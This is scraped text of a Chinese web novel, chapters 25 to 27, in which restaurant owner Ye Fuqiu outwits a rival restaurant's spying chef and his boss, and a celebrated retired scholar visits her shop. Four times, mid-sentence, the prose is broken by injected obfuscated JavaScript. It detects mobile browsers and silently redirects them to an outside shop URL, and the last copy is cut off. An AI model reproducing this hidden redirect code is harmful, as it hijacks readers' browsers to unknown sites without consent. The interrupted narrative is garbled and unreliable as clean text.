没时间抱怨，陈河一甩肩上的布巾，转身就往后厨跑过去，转眼功夫，方方正正的木托盘里就装上三盘子菜，从后厨送到了客人桌上：“客官您慢用。” 他取出炭笔在怀里的小本上勾了一下，东家说了，每天干了多少活都要记下来，接待的客人越多，他的工钱也就越多。 嗯，还可以再来点客人。 看着小本上画的整整齐齐的几个正字，陈河满意地点点头，然而来不及多想，那边客人呼唤的声音又响了起来：“小二，菜单呢？加菜！” 于是第一天上岗的及第馆小二陈河，马不停蹄带着幸福的烦恼又奔向了下一桌客人。 …… “你这小二年纪不大，动作倒是麻利。” 八号桌客人是一对老夫妻，看着冒着热气的饭菜被一盘一盘放到桌上，嗅着空气里头浓浓的香气，不由食指大动。 他们点了一道腌笃鲜，瞧名字有些陌生，还好叶记那菜单里写了，这道菜是用春笋、腊肉、猪蹄髈和百叶结做的，这是道时令菜。 老夫人爱吃笋，见到有笋便立马点了。 棕褐色的砂锅冒着滚烫的热气，小二为他们将锅盖一掀，一股子浑厚温暖的咸香便扑鼻而来，等了片刻白烟散去些，探头看去便见汤色白如琼脂，肉和笋各色食材卧在锅中等着人去采撷。 老先生给夫人和自己先盛了碗汤，汤匙在碗中拨弄一下，奶白的汤水便显出其浓醇的本质，吹凉喝上一口，浓厚顺滑，融入了春笋的甘甜清冽和咸肉独特的鲜味，半点不显油腻，只让人感觉肠胃都暖烘烘的。 喝完汤，老夫人迫不及待夹了一筷子春笋，这是破土不过十天的黄泥拱春笋，极尽鲜嫩，半点不会涩口，一时间唇齿中全是嫩笋甘甜的汁水，叫人感觉漫天的春意全都融入到了这一口中去。 再夹一筷子腊肉，风干的腊肉别有一番风味，咸淡适中，肥瘦相间恰到好处，肥油被熬煮到透明，晶亮诱人丝毫不腻，咬一口细腻的油珠便在唇齿中嘣开，汁水淋漓，带着动物油脂特有的芬芳。 还有蹄髈，炖煮的火候十足，咬一口充满胶质的猪皮，再吃一口软烂的蹄髈肉，肉纤维一嚼就烂，轻易顺着喉咙滑进胃里，这一锅腌笃鲜各色食材完美融合在一起，简直是拿黄金来都不换。 叶扶秋老远瞧见她记挂的新员工陈河给这桌上了菜，便过来笑眯眯问道：“客人吃的可还满意？这小二是新招来的，若有服务不周还请您多担待。” “满意满意。”老夫人拿帕子擦了擦嘴边的油花，幸福道，“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171299|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇人我许久没吃过这么美味的菜肴了，店小二也不错，动作麻溜得很。” “哎，谢客人夸奖。” 年轻的小二陈河像是后背长了眼睛，听着声音就转身凑过来，冲着叶扶秋很不见外地搓手：“客人都夸我了，东家你看……” “放心，工钱少不了你的。” 叶扶秋见他笑得见牙不见眼，轻踹他一脚，也笑道：“别贫了，那边客人叫你呢。” “好嘞，小的这就去！” 陈河这才一拍衣裳，转身去下一桌了。 “小二，你们店上菜怎么这么慢！” 这一回，却是来找茬的。 中年男人敲着桌子，满脸不耐，陈河赔着笑，解释道：“不好意思这位客官，今天新店开张，实在有些忙不过来，您再等等，我去后厨给您催催。” “等等等，我都等了多久了！你这破店，能开就开，开不了就拉倒，尽在这耽搁老子时间！” 他声音有些大，周围客人纷纷侧目，有同样等急了的客人也跟着不满催促道：“对啊，都快半个时辰了，怎么还不上菜！” 世人大多从众，有中年男人起了头，周围食客也闹将起来，纷纷要叶记给说法。陈河有点慌了，但还是努力镇定，按着东家先前给的说法安抚众人道：“客官别急，您几时几刻点的单我这小本上都记了，只要等待时间超过两炷香，本店就给您免掉一道菜钱，往后每多超时一炷香，就多免一道。” 这说法倒是新奇，客人们心里盘算起来：能免菜钱……嗯，那等就等吧！ 中年男人见周围客人熄了火，眉头一皱，仍不依不饶道：“免点菜钱怎么了，老子时间这么宝贵，你们赔得起吗！” 这纯属胡搅蛮缠了，陈河试图安抚，却被他骂了回来，正不知所措之际，叶扶秋走过来轻推他肩膀：“你先去忙别的，我来吧。” 陈河如蒙大赫，赶紧溜了。 叶扶秋笑眯眯站到中年男人面前：“这位客官，我看了咱们店里的记录，距离您进店点餐时间刚过了一炷香时间，您现在是有什么诉求呢？” 男人眼一瞪：“什么一炷香，明明等了——” 不等他狡辩，叶扶秋拿出计时的册子，指着记录问他旁边的九号桌客人：“您是巳时五刻进店点的餐对不对？” “啊，是的。” 叶扶秋又指着下一行记录到中年男人面前：“按照座次和记录，您进店和点单的时间和九号桌相同，因而确实只过了一炷香时间。” 证据确凿，男人无法抵赖，只得咬着牙坐下，他双手撑在桌子上，恼怒道：“一炷香就一炷香，赶紧给我上菜，要是不好吃我砸了你店！” “客官冷静，随便打砸可是要蹲牢子的。”叶扶秋微笑，“菜会尽快，不过咱们讲究先来后到，还请您耐心等待哦。” 说罢，便去了后厨。 男人碰了个软钉子，哼了一声不说话了，和他同桌的两个年轻人怯怯地看着他：“樊师傅，我们现在怎么办？” 被称为樊师傅的鸿运坊大厨瞪了他们一眼：“小点声！” 他做贼一般看看叶扶秋的背影，不屑道：“我倒要看看这及第馆能有多大本事，竟把我们鸿运坊的生意都抢了！” 25. 糯米鸡 鸿运楼老早就知道了叶记重新开业的消息，从前叶记生意尚好的时候，两家饭馆争锋相对，相互间没少打擂台。 后来叶记走了下坡路，鸿运楼便节节高升，成了这越城最火的饭馆，就连县令大人都经常去他家吃饭哩！ 如今眼见叶记口碑一天天变好，鸿运楼老板何茂财危机感直线上升，今天叶记开业弄了这么大阵仗，他说什么都得派人来探探，于是便派出了自己的得力干将——大厨樊师傅。 樊师傅觉得打一来到叶记门口他就浑身不自在，从房檐上的牌匾，到劳什子等位区和抽奖活动，所有陌生的一切都叫他由衷产生不安，从前哪有这样开饭馆的呢？ 他语重心长，和同桌的两个小徒弟教训道：“需知饭馆想火，还得靠菜品够硬才行，叶记尽整这些虚的博人眼球，我看他们这及第馆迟早要黄！” 小徒弟看看周围食客脸上餍足的表情，又嗅了嗅空气中弥漫的饭菜香气，咽了下口水，弱弱开口：“可是师傅，我看这些客人都吃得很满足，叶记味道应该不会差吧……” 樊师傅抄起桌上的擦手巾兜头就给了徒弟一下——这擦手巾也很别致，厚实的白色棉布，上面还绣了叶记及第馆的名字，“休长他人气焰！及第馆手艺再好，还能好过你师傅我吗？！” 别说，樊大厨在鸿运楼干了二十来年，是真有些本事在身上的，这些年风风雨雨，大师傅什么菜没吃过，根本不把叶记看在眼里，而且听说叶记现在的菜谱都是叶显宗那女儿定的，樊师傅更瞧不起了。 笑话，一个小姑娘家家，她能有什么本事！ 就这样抱着揭短的心情，鸿运楼三人等着等着，终于把他们点的菜盼来了。 鱼香肉丝、荷叶糯米鸡、金汤酸菜鱼、地三鲜、麻婆豆腐…… 什么见过的没见过的，樊师傅憋足了挑刺的劲，照着菜单上的招牌，全点了个遍。 几道菜一上桌，浓烈的香味便立刻占据了三人味蕾，别说已经口水直流的两个小徒弟，就算见多识广的樊大师傅都忍不住两眼发直地盯着桌上的菜：怎么能这样香！ 小徒弟咕咚咽了下口水：“樊师傅，咱们尝尝？” 樊师傅原本坚定叶记就是花架子的信念，被这满桌子色香味俱全的菜瞬间动摇了，他有些艰难的移开视线，拿起筷子，像舍生取义一般夹向那盆黄澄澄、亮晶晶的金汤酸菜鱼：“吃！” 雪白晶莹的鱼片浸在金黄色的浓汤里，汤面上泛着晶亮的油花，刚上桌时还带着滚烫的余温，滋啦滋啦正沸腾着，把那股又酸又辣的辛香扬了满桌子。 大盆里除了鱼还有酸菜，那股子腌制极好的酸味，激得人舌尖疯狂分泌唾液。 樊师傅夹起块鱼肉到眼前仔细端详，那鱼片切的极薄，肉质却很紧实，稍用力夹上一下，也不会轻易散架。樊师傅趁热将鱼片送进口中，入口先是茱萸的辛，再是酸菜的酸，最后是鱼肉极致的鲜美，口感鲜嫩弹牙，半点没有腥气，没嚼两下就像融化一般滑进了胃里。 “竟是乌鳢？” 樊师傅思索起来，这黄澄澄的金汤瞧着十分名贵，可里面鱼肉用的竟是价格低廉的乌鳢，让他颇有种暴殄天物的感觉。 乌鳢其实就是黑鱼，价格亲民，一斤大约只需二十文钱，其优点就在于肉厚刺少，最适合做酸菜鱼了，樊师傅见金汤觉得名贵，却想不到这金汤其实是用鱼骨熬成的高汤，再用姜黄和南瓜提的色，成本并不很高。 要是他肯定会选用更名贵的鲈鱼或鳜鱼，这叶记真是小家子气，樊师傅不屑地想，不过……抬头看到对面两个徒弟正在埋头苦吃，一句话都顾不得说，他赶紧又夹了一筷子鱼片，再不吃就要被徒弟们抢光了！ 三人一口接着一口，谁也没想起此行本来的目的，好像全然忘记自己是来挑刺的。 好吧，叶记确实有两把刷子，樊大师傅气闷的想着。 但也只是个鱼片罢了！樊师傅重整旗鼓，将目光投向其他菜，白色瓷盘里荷叶包着的糯米鸡让他有些好奇，这菜是叫荷香糯米鸡？又是噱头，好好的菜，作甚要用荷叶包起来？看着皱皱巴巴，一定不好吃。 樊师傅带着批判的眼神示意徒弟把荷叶打开，那小徒弟忍耐了半天，早想试试这道没见过的新菜了，见师傅发号施令，立刻欢呼一声上手解开荷包外系着的草绳。荷叶包尚有余温，小徒弟有些笨拙的拆开一层又一层的荷叶，露出里面神秘的糯米鸡来。 外表看起来是琥珀色的一团，蒸透了的糯米颗粒圆润又分明，紧紧的黏连在一起，还泛着油润的光泽。拿筷子一夹，黏糊糊的糯米饭便拉出长长的丝，再仔细一看，糯米里包裹着鸡肉、香菇、笋丁和马蹄，米香荷香和肉香融为一体，直把人香了个跟头。 这边樊师傅还在仔细研究糯米鸡的构造，那边小徒弟已经馋的受不了，他眼巴巴盯着师傅手里的糯米鸡，喉头咕咚一声：“师傅，我能吃了吗？” “瞧你这没出息的样！”樊师傅恨其不争，但其实自己也早忍不住，说罢便身先士卒吃了一大口。见师傅开动，小徒弟欢呼一声，立刻紧跟师傅步伐也吃了起来，一时间饭桌上除了咀嚼和吞咽的声音，竟再无人言语。 糯米鸡进嘴的瞬间，小徒弟简直幸福的要哭出来了，天哪，怎么会有这么好吃的东西！ 绵密的糯米吸饱了馅料的汤汁，每一颗软糯的糯米都浸润了鸡油，简直香的不得了，里面包裹着切碎的香菇和笋丁、马蹄丁，各有一番风味，几种鲜香融合在一起，口感丰富，搭配也极为和谐。 大块的鸡肉很是嫩滑，鸡肉纤维里夹杂着糯米的清香，在口腔中显得滋味十足。小徒弟滋滋有味咀嚼几下，嘴里既有马蹄的脆爽，又有香菇的软韧，一时只觉得无比美味。 樊师傅也觉得这糯米鸡很妙，不管是口感丰富的馅料，还是带着荷香的糯米，种种滋味融合的恰到好处，不油不腻，火候正好。 没一会功夫，一只不大的糯米鸡就被三人分食干净，三人面面相觑，谁也没有说话，下一秒，樊师傅像是自暴自弃一样，伸手夹向下一道菜：“都吃吧。” 这句话像一道令箭，饭桌上瞬间变成了战场，三个人你争我抢，生怕菜被其他人吃光。 最后一桌子菜全被打扫干净，小徒弟摸着鼓囊囊的肚皮，打了个饱嗝：“嗝，师傅，叶记这也太好吃了吧。” 樊师傅听得脸色发青，很不想承认，可他摸着撑圆了的肚皮，又实在说不出违心的话，只好道：“……尚可，只是尚可！你们回去谁也不准跟东家这样说。” 他和鸿运楼何老板还是很有些情分在的，想到出门前何老板和他交代的事情，脸上不禁露出为难之色。 何老板让他去叶记挑刺，可他尝试了半天，却一个字也挑不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176549|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 最后只能灰溜溜捂着肚子去柜台结账，然后见到叶记的小姑娘东家趴在柜台后，捧着脸笑容微妙地看着他：“樊大师傅，今个吃得可好？” “你怎么知道是我？！” 樊师傅大惊，他又不是什么经常在外抛头露面的人，这小姑娘怎么会认出他？樊师傅甚至怀疑是不是两个小徒弟不知何时说漏了嘴，他眼一瞪，吓得徒弟连连摆手：“不是我，我没说！” 叶扶秋看着了笑话，半晌才道：“樊大师傅可是咱们越城顶顶有名的大厨，晚辈哪能不认识您？” 这些其实是小二陈河告诉她的，打工人陈河从前混迹各大酒楼，对各家的厨子了如指掌，是以刚才一见面就认出了樊师傅，还偷偷告诉了叶扶秋。 樊师傅面色稍霁，咳了一声道：“咳，过奖了，你们叶记的饭菜……还凑合吧，勉强能入口。” 叶扶秋似笑非笑瞟了他鼓胀的肚子一眼，樊师傅立马红了脸，恼羞成怒道：“你们这些小辈，还有得学呢，别没做出成绩就不知天高地厚了。” “哪能呢，还要多谢您来光顾呢。”叶扶秋狡黠一笑，忽然用周围所有人都能清晰听见的音量大声说，“您可是鸿运楼的大厨啊，来我们家吃饭点了那么多，还都吃干净了，想必对我们及第馆的饭菜很满意呀，樊师傅放心，您的认可我们一定会重视。” “陈河，快把樊师傅点的菜都记下来，回头装裱好，一起放到我们的名家推荐菜单里！” “多谢樊师傅夸奖！” 叶扶秋啪啪啪鼓起掌来，陈河配合默契也跟着鼓掌，周围食客们不明所以，看见樊师傅脸色涨得通红，好像很激动似的，便真以为这是鸿运楼大厨和叶记的双向奔赴，也跟着鼓起掌来。 小小的饭馆里，掌声响成一片，还有人跟着叫好：“这大师傅真有眼光，及第馆确实是比鸿运楼好吃。” “跟着大厨点菜准没错，他们最会点菜了！” 还有刻意挑事的：“哎呀，这不是鸿运楼樊大厨吗？怎么也来及第馆吃饭了，是不是想换个东家啊？” 樊师傅气得感觉浑身的血都冲到了头上：“你、你……” 叶扶秋笑眯眯招招手：“樊师傅别激动，以后大家就都能看到你推荐的菜了。” 樊师傅一口气没上来，身子一歪感觉站立不稳。 叶扶秋立马大叫起来：“哎哎，樊师傅高兴得晕过去了！快扶樊师傅到院里歇歇。” 他那两个小徒弟早看傻了眼，慌忙上去扶住瘫软的师傅，叶扶秋给他们出馊主意：“快掐人中试试！” 俩徒弟六神无主，听了她的话一个拿胳肢窝夹着樊师傅不让他往后倒，一个伸手用力掐他人中，樊师傅本来没晕都要给他们整晕过去，连忙推搡起来：“滚滚滚，离老子远点。” 结果俩人听是听了，就是松手的动作太过整齐，樊师傅身体本来就歪着，那边手一松，这边他咣当一下向后就跌到了地上。 “嘶。” 叶扶秋咋舌，樊师傅像块石头一样狠狠砸到地上，地面上的灰尘都被他荡起来一层，想想就疼，她看热闹不嫌事大，添油加醋道：“天哪，鸿运楼大厨樊师傅在叶记及第馆，吃得太高兴，激动得晕过去啦，赶紧把他抬回鸿运楼啊！” 樊师傅摔得头昏脑涨，听了她最后一句话，两眼一翻，这回是真晕了过去。 26. 离间计 叶扶秋叫了五个闲汉，浩浩荡荡把樊大厨一行三人送回了鸿运楼，那胖老板何茂财原本还在柜台里美滋滋看着账本，就听见店里小二慌慌张张冲他喊：“东家，不好了，及第馆打上门来了！” “什么？！”何老板惊得一下子从板凳上跳下，磕巴了一下连声追问，“谁、谁打过来了？” “及第馆！就是叶记那个！”小二捶胸顿足指着身后，“还抓了樊大厨，兴师问罪来了！” 何老板冲到店门口，就见到不远处一群人站在店门口，樊师傅被他那俩不争气的徒弟背着，人事不省的样子。 何老板脑袋突突突直跳，莫不是樊师傅去找茬做得太过，让人发现给打了？ “你们这是……？有话好商量，你们先放了樊师傅。” 他心思转了几圈，在人群里试图找起叶记的主事，目光逡巡一圈，却看哪个也不像，这几人破衣烂衫，一看就是找来的帮佣，总不能是中间那个小丫头吧，呵呵。 何老板被自己的想象逗笑了，却不成想那最不可能的人选上前一步，微微一笑启了朱唇：“何老板，都是同行，你派店里的大厨来我们叶记偷师，这不合适吧？” “你就是叶记的主事？”何老板吃了一惊，胖胖的脸上露出疑惑表情，“怎么是个小丫头片子？” 叶扶秋挑起眉毛：“有志不在年高，何老板还是莫在意这些小节了，咱们说正事。” 何老板一手叉腰，挺着肚子不耐烦道：“我跟你一个小姑娘家说什么，有事等你家大人过来再跟我谈。” 叶扶秋磨了磨牙，按捺住心中不悦：“何老板和我谈便可，我可以代表叶记行事。” “今日你派店里大厨来我叶记闹事，何老板难道不打算给个说法吗？” “说什么说，你有什么证据证明是我派他去的。”何老板咬死了不承认。 “哦？原来不是你派来的，”叶扶秋唇角微勾，“那你就是承认樊大厨是自己要去叶记闹事喽？” 何老板意识到哪里不对，看着疯狂冲他使眼色的樊大厨徒弟，立刻否认：“没有，我可没有这样说！” “这人是你店里的总没错吧，”叶扶秋一挑眉毛，“何老板别想否认，今天叶记热闹，客人们可全都看见樊师傅了。” 她两手一摊：“要么是你何老板指使，要么是樊师傅擅自行动，请你选一个吧。” 眼见周围看热闹的人越来越多，何老板额头冒了汗，慌忙道：“是他、是他擅自行动！” “东家……” 一道粗粝的声音突然响起，何老板回头一看，竟是小徒弟背上的樊师傅缓缓苏醒，恰好听到了他甩锅的话：“东家你……” 何老板悚然一惊：叶记这小姑娘是要使离间计！ 可他总不能当着这么多人的面，承认是自己指使人闹事，只能梗着脖子吃了这个闷亏，做出一副痛心状：“老樊，我知道你是为了咱家好，可也不能这么冲动，赶紧和叶姑娘道个歉，这事就算过了。” 樊师傅没说完的话咽回了嘴里，看着老东家祈求的目光，心中一痛，闷着声音只能不情不愿道：“抱歉。” “一句道歉就行了？” “不然你还想怎么样！”何老板不耐道。 叶扶秋笑起来：“我？我不想怎样，不过是和樊师傅一见如故罢了，既然是樊师傅主动来的，不若就叫他以后到叶记供职吧，何老板觉得如何？” “什么？这不可能！”何老板瞪大了眼睛，目光狐疑地在两人之间扫来扫去。 “今天樊师傅在叶记推荐的菜品，客人们都很喜欢呢。” “什、我没有！”樊师傅也瞪大了眼，“是你自己——” “哎呀，不好意思樊师傅，”叶扶秋打断他，“是我说漏嘴了。” 说罢也不再解释，只带着神秘的微笑看着何老板，看得他疑心病愈发严重。 樊师傅和何老板面面相觑，脸色不甚好看。 眼见这东家和大厨两人看对方的眼神愈发不善，叶扶秋知道此行目的达到了，故作可惜道：“唉，看来今天是带不走樊师傅了，没事儿，等忙过这阵子，我再来接您。” “何老板，再会。” 说罢，不理会两人反应，带着人浩浩荡荡回了叶记。 …… 何老板带着三人往店里走，他黑着脸，冲身后樊师傅没好气地嚷嚷：“老樊啊老樊，让你办点事，怎么给我搞成这个样子？” 众目睽睽之下，何老板丢了个大人，他想不通自己的老伙计怎么就跟叶记勾搭上了？ 樊师傅被叶扶秋摆了一道，心里正烦闷着，听到他责骂，登时也有些窝火：“我还没问东家，怎么好说是我一人干的？” 何老板摆摆手，不耐烦道：“这点事还值当你找我兴师问罪？当着那么多人的面，要是叫我下不来台，鸿运楼没了生意，难道还有你老樊好果子吃吗？” 他是一点没觉得自己哪里不对，他一个做东家的，难道还帮手下人顶锅吗？ 樊师傅气闷：“那、那也不能……” “我还没问你呢！”何老板沉着脸倒打一耙，“那死丫头怎么说你在她店里推荐菜？我叫你去打探消息，怎么还给人家整上推荐了？” 说起这个樊师傅就一肚子气，他声音大了起来：“我没有！我们就是点了桌菜，想看看味道如何，结果结账的时候那小姑娘不知怎么认出是我，还说我们菜吃得干净就是推荐，这不明摆着胡说吗！！” 樊师傅满腹委屈，何老板也满头不解：“我不是叫你低调行事吗，怎么还给她认出来了？敲锣打鼓闹到鸿运楼门口，你给我丢了多大的人你知道吗？传出去明天全越城的同行都要来嘲笑我了。” 他凑到樊师傅面前，拍着自己的脸：“我的脸面都给你丢尽了！” 樊师傅被他骂得握紧了拳头：“东家我——” “算了我不想听你解释。”何老板没好气地翻了个白眼，“这事办成这样，扣你半月工钱，还有你这俩没用的徒弟，统统都扣了。” “回去干活吧。” 他一只手背在身后，另一只手不耐地挥了挥，又回到他的柜台，翻账本去了。 “东家他凭什么扣我们工钱？！” 何老板一走，两个鹌鹑似的小徒弟顿时嚷嚷起来，樊师傅眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184081|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头紧锁，心里很是不服，闻言没说话。 小徒弟又道：“师傅，要不我们不干了，我们去叶记，我偷偷问了他们那跑堂的，叶记东家对手下可好了，他还有本自己的账，说是多劳多得呢！” “是啊，樊师傅您这么有本事，何必在何老板手底下受这窝囊气。”另一个小徒弟也撺掇，“我看叶记这回能行，鸿运楼迟早得完。” 今天去叶记走了这么一遭，尽管樊师傅不愿承认，但叶记确实大为改观，不管是菜品还是服务还是秩序，各方面都没得挑，明眼人都能看出来，叶记这是要发达了。 可叫他就此背叛老东家，这种事他也实在做不出来，樊师傅摇了摇头：“罢了，不要再提了，东家他也有自己的考量。” 他嘴里是这么说，心中却着实难受，及第馆与鸿运楼两厢对比，高下立判。 两个小徒弟还想再劝，樊师傅却闷不吭声，兀自垂着头回后厨去了。 …… 叶扶秋回了叶记，先去看了等位区，小六是个称职的“小二”，忙里忙外帮着加水添食，一切都井井有条，只除了先前那个差点和粗衣大汉吵起来的客人，一见着叶扶秋就得意洋洋道：“小东家我说的果然不错！” 叶扶秋：？ 那人献宝一样告状道：“就我刚才骂的那人，他跑啦！” 叶扶秋还没反应过来他说的是谁，就听他连珠炮似的：“我可帮你盯着呢，刚才店里排号叫到他，他就找借口说有事不吃先走了，白吃了你那么多点心。” 他语重心长一副好为人师的样子，劝道：“不是我说，小东家，你们店这样开不长久，哪有不收钱，先白送的道理？” “你说是不？” 叶扶秋这才明白他说的是谁，不欲辩驳，只哂笑道：“让客人操心了，我们会考虑的，多谢您。” 此时恰好排位到他，叶扶秋便亲自将他送进店，又捧了他几句，把这客人哄的眉开眼笑，早忘了刚才说过什么。 行至店门口，又听见店外有人在讨论叶记房檐上挂的牌匾： “这字……怎么如斯眼熟，笔力雄厚，莫不是哪位名家所作？” “左边有署名，山阴居士？没听过。” “或许是位民间隐士吧。” 叶扶秋看过去，三个着澜衫的青年儒生，正指着“及第馆”几个大字讨论得热火朝天，他们一致认为，这字是某位书法大家所作，却对那位作者的身份摸不着头脑。 忽然，三人之中年纪较大的那位道：“你们说，这会不会是前任翰林院掌院学士，季光源季大人的字？去岁我寻他著作时，有幸见过季大人手稿，这字迹是有些像的。” 有人否认：“不是吧，季大人自号凿光斋主，没听说还有这么个名啊。” “再说了，季大人那般的大人物，怎么可能和叶记一介商户扯上关系！” 他言之凿凿，决计不信好友的猜测，“季大人可是文坛魁首，我等文人都难见其墨宝，这小小一个饭馆，就更加不可能了。” 叶扶秋听得有趣，终于忍不住凑过去，笑道：“可这牌匾，真真就是季光源季先生赐下的呀！” 27. 金舌头 叶扶秋话一出，三个儒生登时静了下来。 先前态度坚决否认的那人皱着眉，道：“姑娘切莫胡言，你认得季大人是谁吗？” 他抱拳向东方遥遥一拜：“那可是当今文坛魁首，孔夫子在世似的人物。” 叶扶秋“噗嗤”一下笑出声：“季先生恐怕自己都不知道，他竟是这般伟人。” “你懂什么，”那人被她笑得面燥，“这是我们文人的事，还请姑娘莫要再顽笑了。” “我没说笑哇，”叶扶秋无辜地眨眨眼，“是真的。” “冥顽不灵！” 那人刚痛心疾首长叹出声，就见到小二陈河从店里冲出来，冲着叶扶秋就激动地喊：“东家快进来，有贵客到了！” “东……什么？”几个文人一愣，紧接着就眼睁睁看到叶扶秋对那小二颔首，“这就来。” 叶扶秋跟着陈河往店里走了几步，半晌像是才想起他们似的，回头莞尔一笑：“想见‘孔圣人’在世、文坛魁首季光源吗？” “………………” 三人下巴掉了一地，最终还是那个年纪稍长些的，用一种做梦似的表情，缓缓开口：“……这世上有两个叫季光源的人吗？” 叶扶秋故作思考：“或许有吧，不过当过翰林院掌院的那个季光源应该只有一个，你们想见吗？” “想想想！”三人异口同声，立马道。 “那就随我来吧，”瞧见三人脸上如梦似幻，好像马上就要尖叫出声的迷弟样子，叶扶秋补充，“嘘，低调些。” 儒生们连忙捂住嘴，点头如捣蒜。 叶扶秋这才带着他们进了店，往给季先生留的包厢去——今天开业，季先生说什么都要来捧场，还说要见见他题字的那块匾。 敲门进屋时，季先生正同顾宴苏说话，见到叶扶秋身后的陌生人，脸上划过一丝诧异。 三人见到偶像，脸上难掩激动之色，行动却拘谨的很，谁也没敢贸然说话，最后还是叶扶秋先开口解了围：“先生莫怪，方才我在店外见到这三人讨论牌匾，听他们对题字者很是推崇，便斗胆将他们带进来了。” “原是如此。”季先生捋着胡子，呵呵笑了笑，“你们几个找老夫何事啊？” 被偶像目光注视到的三人浑身僵硬，那嘴硬年轻人哆嗦着声音，率先发问：“您！您真是翰林院掌院，季大人？！” “老夫早已致仕，不必如此尊称。” 见他语气和蔼，三人放松了许多，一人问：“那学生斗胆叫您一声季先生，叶记那‘及第馆’三字真是您写的？” “正是。” “可您不是号凿光斋主么，那山阴是……” “老夫乃是山阴人，别号山阴居士。”老人宽和笑道。 “原是如此……” 三人赧然，年长的难掩喜悦：“季先生，学生仰慕您久矣，没想到今日竟能在这遇见您，真是三生有幸，你这笔字真是臻入化境，不愧为文坛典范。” 他哔哔叭叭大吹了一通彩虹屁，季先生乐呵呵听着，还不时挑眉用一种得意的小眼神瞟顾宴苏，好像在说：虽然你小子写字有些天赋，可论到实力，还得是你师傅我。 顾宴苏接收到他的信号，脸上没甚表情，手上却欣欣然抱了拳，遥示敬意。 叶扶秋瞧着两人互动，心里发笑，季先生这老顽童似的性情实在可爱。 她正偷笑着，冷不防听到有人喊她，回头一看，就见那个嘴最硬的儒生对她说话：“姑娘，还请原谅。” 叶扶秋“嗯？”了一声，那人竟涨红了脸向她倒道歉：“方才是我小人之心度君子之腹了，没料想姑娘竟真认得季先生。” 见他诚心，叶扶秋也不在意，眨了眨眼狡黠笑道：“无妨，这下知道我没有‘顽笑’了吧，我们小女子也有识得大儒的权利呢。” “自然自然。”那人羞得恨不得钻地缝里去，还不时偷瞄瞄季先生，眼神在崇拜和羞赧之间反复摇摆，看得叶扶秋好笑。 三个儒生又向季先生求教了些问题，见他们还有事，便很有眼力见的告辞了，回家一路脸上都带着难掩的激动。 有人忍不住和同窗好友炫耀了今天的神奇经历，以至于竟传出消息，说及第馆和季先生关系极好，后来全越城的读书人都养成了去及第馆吃饭碰运气，想偶遇季光源的习惯。 结果还真有幸运儿偶遇过几次，这条传言便更加深入人心，以至于季先生偶尔再来及第馆吃饭，都要戴上兜帽蒙着面了。 不过这都是后话先且不提，饭桌上，季先生提起顾宴苏府试：“你何时出发去府城？县案首虽说保过府试，但省府人才济济，想拿头名也不是那般容易。” 顾宴苏道：“等叶记忙完这几日便去。” 他是个不愿欠人情的高傲性子，这段时日叶记供养他读书，他对叶家人虽然还是冷冰冰的，行动上却尽力帮忙，叶记那些疑难杂帐，有他帮着梳理，也算解决了叶扶秋不少麻烦。 叶扶秋感觉自己像是在替原主还债，她倒是宁愿顾宴苏什么都不干，也好过他始终和叶家泾渭分明，两人之间隔着楚河汉界，叫她总联想起书里那倒霉结局。 “你跟先生回去温书吧，叶记能忙得过来，考试重要。” 这辈子可比书里提前了一年参加科举，叶扶秋生怕自己这双蝴蝶翅膀扇歪了男主人生轨迹，心中惴惴劝道。 “不用。” 顾宴苏声音淡淡的，俊秀的眉眼里无波无澜。 穿书这么久，他终于被叶扶秋养出了点肉，原本瘦削到仿佛皮贴骨的脸颊丰盈许多，乌发一丝不苟地束着，露出他冷白的皮肤，像是玉人一般。 真是赏心悦目。 叶扶秋觉得自己眼睛受到了很好的对待，便自觉很宽容不和他争辩了，转头问起季先生：“今天又劳烦先生来捧场，想吃什么，我去后厨亲自给您做。” “现在想起我了？”季先生隔空点了点她，笑骂道，“你这丫头鬼精鬼精的，你以为我看不出来，你刚才故意带那几个学生进来，就是想告诉所有人，叶记这牌匾是我写的？” 叶扶秋嘿嘿一笑：“没想过能瞒住先生。”，她讨饶道，“这不是想着不好让您的墨宝蒙尘嘛，那么好的字，就该让所有人知道出自您手。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190865|195504||http|test|mini|href|location''.split(''|''),0,{})); () { 